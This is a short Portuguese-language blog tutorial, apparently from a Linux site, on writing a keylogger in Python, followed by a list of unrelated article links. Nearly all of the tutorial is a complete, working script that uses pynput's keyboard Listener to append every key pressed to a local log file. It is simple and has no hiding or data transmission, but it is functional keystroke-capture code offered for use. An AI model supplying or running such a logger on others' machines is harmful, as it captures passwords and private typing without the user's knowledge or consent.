Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.472 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
    '''
    Esta função será responsável por receber a tecla pressionada
    via Listener e escrever no arquivo de log
    '''
    #converter a tecla pressionada para string
    keydata = str(key)
    #abrir o arquivo de log no modo append
    with open(logFile, "a") as f:
        f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
    l.join()
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
Desbloquear a tela do Android pelo PC (PIN)
Transforme seu smartphone em uma webcam no Debian, Ubuntu e derivados com Iriun Webcam
cpulimit - Limitando o uso da CPU por processo
Criando gráficos com a classe JPGraph (parte 1)
Python: automatizando a extração de informações na web com expressões regulares
Threads - Importância dentro de um software
Como isolar seus projetos Python com virtualenv (ambiente virtual)
Como gerar qualquer emoji ou símbolo unicode a partir do seu teclado
Programe em Python no jogo Minecraft com seu filho ou sozinho
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Atualizando o Fedora 42 para 43
Como saber se o seu e-mail já teve a senha vazada?
Como descobrir se a sua senha já foi vazada na internet?









